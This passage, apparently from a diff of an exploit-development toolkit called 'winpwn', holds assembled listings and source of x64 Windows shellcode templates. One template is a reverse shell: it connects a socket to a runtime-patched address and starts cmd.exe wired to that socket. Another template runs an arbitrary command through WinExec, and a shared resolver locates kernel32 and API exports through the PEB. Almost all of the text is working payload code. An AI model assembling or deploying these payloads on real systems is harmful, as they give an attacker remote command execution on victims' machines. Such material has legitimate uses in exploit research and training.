57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
||||
58 00000073 4C89E1 mov rcx, r12
|
||||
59 00000076 4831D2 xor rdx, rdx
|
||||
60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation]
|
||||
61 00000080 E81C020000 call resolve_export
|
||||
62 00000085 4C89E9 mov rcx, r13
|
||||
63 00000088 BA01000000 mov rdx, 1
|
||||
64 0000008D 41B801000000 mov r8, 1
|
||||
65 00000093 4883EC20 sub rsp, 0x20
|
||||
66 00000097 FFD0 call rax
|
||||
67 00000099 4883C420 add rsp, 0x20
|
||||
68
|
||||
69 ; connect(sockfd, &sockaddr_buf, 16)
|
||||
70 0000009D 4C89E1 mov rcx, r12
|
||||
71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32]
|
||||
72 000000A7 4C8D0587020000 lea r8, [rel name_connect]
|
||||
73 000000AE E8EE010000 call resolve_export
|
||||
74 000000B3 4C89E9 mov rcx, r13
|
||||
75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf]
|
||||
76 000000BD 41B810000000 mov r8, 16
|
||||
77 000000C3 4883EC20 sub rsp, 0x20
|
||||
78 000000C7 FFD0 call rax
|
||||
79 000000C9 4883C420 add rsp, 0x20
|
||||
80
|
||||
81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
||||
82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
||||
83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
||||
84 000000CD 4881ECE0000000 sub rsp, 0xE0
|
||||
85
|
||||
86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0
|
||||
87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0
|
||||
88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0
|
||||
89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0
|
||||
90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0
|
||||
91 00000101 48C744247800000000 mov qword [rsp+0x78], 0
|
||||
92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0
|
||||
92 00000113 000000
|
||||
93 00000116 48C784248800000000- mov qword [rsp+0x88], 0
|
||||
93 0000011F 000000
|
||||
94 00000122 48C784249000000000- mov qword [rsp+0x90], 0
|
||||
94 0000012B 000000
|
||||
95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0
|
||||
95 00000137 000000
|
||||
96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0
|
||||
96 00000143 000000
|
||||
97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0
|
||||
97 0000014F 000000
|
||||
98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0
|
||||
98 0000015B 000000
|
||||
99
|
||||
100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
||||
101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
||||
101 0000016F 0000
|
||||
102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
||||
103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
||||
104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
||||
105
|
||||
106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
||||
107 00000189 4C89E1 mov rcx, r12
|
||||
108 0000018C 4831D2 xor rdx, rdx
|
||||
109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa]
|
||||
110 00000196 E806010000 call resolve_export
|
||||
111 0000019B 4989C6 mov r14, rax
|
||||
112
|
||||
113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL
|
||||
114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
||||
115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL
|
||||
116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL
|
||||
117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
||||
118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
||||
119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
||||
120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
||||
121 000001D2 488D442450 lea rax, [rsp+0x50]
|
||||
122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
||||
123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8]
|
||||
124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
||||
125 000001E9 41FFD6 call r14
|
||||
126
|
||||
127 000001EC 4881C4E0000000 add rsp, 0xE0
|
||||
128 000001F3 4889EC mov rsp, rbp
|
||||
129 000001F6 415D pop r13
|
||||
130 000001F8 415C pop r12
|
||||
131 000001FA 5D pop rbp
|
||||
132 000001FB C3 ret
|
||||
133
|
||||
134 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000217 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 00000218 4154 <1> push r12
|
||||
36 0000021A 4155 <1> push r13
|
||||
37 0000021C 4156 <1> push r14
|
||||
38 0000021E 4157 <1> push r15
|
||||
39 00000220 56 <1> push rsi
|
||||
40 00000221 57 <1> push rdi
|
||||
41 00000222 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000237 4C01E0 <1> add rax, r12
|
||||
50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 00000259 4939DF <1> cmp r15, rbx
|
||||
64 0000025C 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 00000262 4C01E0 <1> add rax, r12
|
||||
68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 0000026B 8A06 <1> mov al, [rsi]
|
||||
73 0000026D 8A0F <1> mov cl, [rdi]
|
||||
74 0000026F 38C8 <1> cmp al, cl
|
||||
75 00000271 750C <1> jne .next
|
||||
76 00000273 84C0 <1> test al, al
|
||||
77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 00000277 48FFC6 <1> inc rsi
|
||||
79 0000027A 48FFC7 <1> inc rdi
|
||||
80 0000027D EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 0000027F 49FFC7 <1> inc r15
|
||||
84 00000282 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 0000028D 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 00000290 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 00000292 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 00000295 5B <1> pop rbx
|
||||
97 00000296 5F <1> pop rdi
|
||||
98 00000297 5E <1> pop rsi
|
||||
99 00000298 415F <1> pop r15
|
||||
100 0000029A 415E <1> pop r14
|
||||
101 0000029C 415D <1> pop r13
|
||||
102 0000029E 415C <1> pop r12
|
||||
103 000002A0 C3 <1> ret
|
||||
104 <1>
|
||||
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
107 <1> ;
|
||||
108 <1> ; find_export alone only works if the target module is *already* loaded
|
||||
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
111 <1> ; (the function is assumed already loaded at the module base in RCX).
|
||||
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
|
||||
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
|
||||
115 <1> resolve_export:
|
||||
116 000002A1 4154 <1> push r12 ; kernel32 base
|
||||
117 000002A3 4155 <1> push r13 ; dll name ptr (or 0)
|
||||
118 000002A5 4156 <1> push r14 ; func name ptr
|
||||
119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
120 000002A8 4889E5 <1> mov rbp, rsp
|
||||
121 000002AB 4883E4F0 <1> and rsp, ~0xF
|
||||
122 <1>
|
||||
123 000002AF 4989CC <1> mov r12, rcx
|
||||
124 000002B2 4989D5 <1> mov r13, rdx
|
||||
125 000002B5 4D89C6 <1> mov r14, r8
|
||||
126 <1>
|
||||
127 000002B8 4D85ED <1> test r13, r13
|
||||
128 000002BB 750D <1> jnz .need_loadlibrary
|
||||
129 <1>
|
||||
130 000002BD 4C89E1 <1> mov rcx, r12
|
||||
131 000002C0 4C89F2 <1> mov rdx, r14
|
||||
132 000002C3 E850FFFFFF <1> call find_export
|
||||
133 000002C8 EB36 <1> jmp .resolve_done
|
||||
134 <1>
|
||||
135 <1> .need_loadlibrary:
|
||||
136 000002CA 4C89E1 <1> mov rcx, r12
|
||||
137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
|
||||
138 000002D4 E83FFFFFFF <1> call find_export
|
||||
139 000002D9 4885C0 <1> test rax, rax
|
||||
140 000002DC 741F <1> jz .resolve_fail
|
||||
141 <1>
|
||||
142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
144 000002E5 FFD0 <1> call rax
|
||||
145 000002E7 4883C420 <1> add rsp, 0x20
|
||||
146 000002EB 4885C0 <1> test rax, rax
|
||||
147 000002EE 740D <1> jz .resolve_fail
|
||||
148 <1>
|
||||
149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
|
||||
150 000002F3 4C89F2 <1> mov rdx, r14
|
||||
151 000002F6 E81DFFFFFF <1> call find_export
|
||||
152 000002FB EB03 <1> jmp .resolve_done
|
||||
153 <1>
|
||||
154 <1> .resolve_fail:
|
||||
155 000002FD 4831C0 <1> xor rax, rax
|
||||
156 <1>
|
||||
157 <1> .resolve_done:
|
||||
158 00000300 4889EC <1> mov rsp, rbp
|
||||
159 00000303 5D <1> pop rbp
|
||||
160 00000304 415E <1> pop r14
|
||||
161 00000306 415D <1> pop r13
|
||||
162 00000308 415C <1> pop r12
|
||||
163 0000030A C3 <1> ret
|
||||
164 <1>
|
||||
165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
|
||||
165 00000314 72794100 <1>
|
||||
135
|
||||
136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0
|
||||
136 00000321 6C00
|
||||
137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0
|
||||
137 0000032C 7000
|
||||
138 0000032E 736F636B657400 name_socket: db "socket", 0
|
||||
139 00000335 636F6E6E65637400 name_connect: db "connect", 0
|
||||
140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0
|
||||
140 00000346 496E666F726D617469-
|
||||
140 0000034F 6F6E00
|
||||
141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0
|
||||
141 0000035B 636573734100
|
||||
142
|
||||
143 ; lpCommandLine must point at writable memory (CreateProcessA may modify
|
||||
144 ; it in place) -- fine here since shellcode bytes live in a writable page
|
||||
145 ; wherever they landed, same as every other template's embedded buffers.
|
||||
146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
||||
146 0000036A 000000000000
|
||||
147
|
||||
148 align 8
|
||||
149 wsadata_buf:
|
||||
150 00000370 00<rep 200h> times 512 db 0
|
||||
151
|
||||
152 align 8
|
||||
153 sockaddr_buf:
|
||||
154 00000570 0200 dw 2 ; sin_family = AF_INET
|
||||
155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order)
|
||||
156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order)
|
||||
157 00000578 0000000000000000 dq 0 ; sin_zero[8]
|
||||
@@ -0,0 +1,52 @@
|
||||
; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
||||
; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
||||
; name, and run a command. Returns normally (ret) so the host thread keeps
|
||||
; running afterward.
|
||||
;
|
||||
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
||||
; winpwn patches it at runtime with the actual NUL-terminated command
|
||||
; (see shellcraft.go).
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
||||
; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
||||
; alignment below and still land exactly back on the real return
|
||||
; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
||||
; before `ret` pops whatever garbage is sitting at the shifted address
|
||||
; instead of the caller's actual return address — that's the bug this
|
||||
; replaced (verified by crash: rip ended up pointing into the Go
|
||||
; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
||||
; behind).
|
||||
push rbp
|
||||
push r12
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
|
||||
call get_kernel32_base
|
||||
mov r12, rax ; r12 = kernel32 base
|
||||
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_winexec]
|
||||
call find_export
|
||||
; rax = WinExec address
|
||||
|
||||
lea rcx, [rel cmd_buf]
|
||||
mov edx, 5 ; SW_SHOW
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
mov rsp, rbp
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_winexec: db "WinExec", 0
|
||||
|
||||
align 8
|
||||
cmd_buf:
|
||||
times 260 db 0
|
||||
@@ -0,0 +1,155 @@
|
||||
1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
|
||||
2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by
|
||||
3 ; name, and run a command. Returns normally (ret) so the host thread keeps
|
||||
4 ; running afterward.
|
||||
5 ;
|
||||
6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
|
||||
7 ; winpwn patches it at runtime with the actual NUL-terminated command
|
||||
8 ; (see shellcraft.go).
|
||||
9 BITS 64
|
||||
10 default rel
|
||||
11
|
||||
12 start:
|
||||
13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
|
||||
14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
|
||||
15 ; alignment below and still land exactly back on the real return
|
||||
16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore
|
||||
17 ; before `ret` pops whatever garbage is sitting at the shifted address
|
||||
18 ; instead of the caller's actual return address — that's the bug this
|
||||
19 ; replaced (verified by crash: rip ended up pointing into the Go
|
||||
20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
|
||||
21 ; behind).
|
||||
22 00000000 55 push rbp
|
||||
23 00000001 4154 push r12
|
||||
24 00000003 4889E5 mov rbp, rsp
|
||||
25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
26
|
||||
27 0000000A E82F000000 call get_kernel32_base
|
||||
28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base
|
||||
29
|
||||
30 00000012 4C89E1 mov rcx, r12
|
||||
31 00000015 488D15C7000000 lea rdx, [rel name_winexec]
|
||||
32 0000001C E839000000 call find_export
|
||||
33 ; rax = WinExec address
|
||||
34
|
||||
35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf]
|
||||
36 00000028 BA05000000 mov edx, 5 ; SW_SHOW
|
||||
37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
38 00000031 FFD0 call rax
|
||||
39 00000033 4883C420 add rsp, 0x20
|
||||
40
|
||||
41 00000037 4889EC mov rsp, rbp
|
||||
42 0000003A 415C pop r12
|
||||
43 0000003C 5D pop rbp
|
||||
44 0000003D C3 ret
|
||||
45
|
||||
46 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000059 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 0000005A 4154 <1> push r12
|
||||
36 0000005C 4155 <1> push r13
|
||||
37 0000005E 4156 <1> push r14
|
||||
38 00000060 4157 <1> push r15
|
||||
39 00000062 56 <1> push rsi
|
||||
40 00000063 57 <1> push rdi
|
||||
41 00000064 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000079 4C01E0 <1> add rax, r12
|
||||
50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 0000009B 4939DF <1> cmp r15, rbx
|
||||
64 0000009E 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 000000A4 4C01E0 <1> add rax, r12
|
||||
68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 000000AD 8A06 <1> mov al, [rsi]
|
||||
73 000000AF 8A0F <1> mov cl, [rdi]
|
||||
74 000000B1 38C8 <1> cmp al, cl
|
||||
75 000000B3 750C <1> jne .next
|
||||
76 000000B5 84C0 <1> test al, al
|
||||
77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 000000B9 48FFC6 <1> inc rsi
|
||||
79 000000BC 48FFC7 <1> inc rdi
|
||||
80 000000BF EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 000000C1 49FFC7 <1> inc r15
|
||||
84 000000C4 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 000000CF 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 000000D2 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 000000D4 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 000000D7 5B <1> pop rbx
|
||||
97 000000D8 5F <1> pop rdi
|
||||
98 000000D9 5E <1> pop rsi
|
||||
99 000000DA 415F <1> pop r15
|
||||
100 000000DC 415E <1> pop r14
|
||||
101 000000DE 415D <1> pop r13
|
||||
102 000000E0 415C <1> pop r12
|
||||
103 000000E2 C3 <1> ret
|
||||
47
|
||||
48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0
|
||||
49
|
||||
50 000000EB 90<rep 5h> align 8
|
||||
51 cmd_buf:
|
||||
52 000000F0 00<rep 104h> times 260 db 0
|
||||
Reference in New Issue
Block a user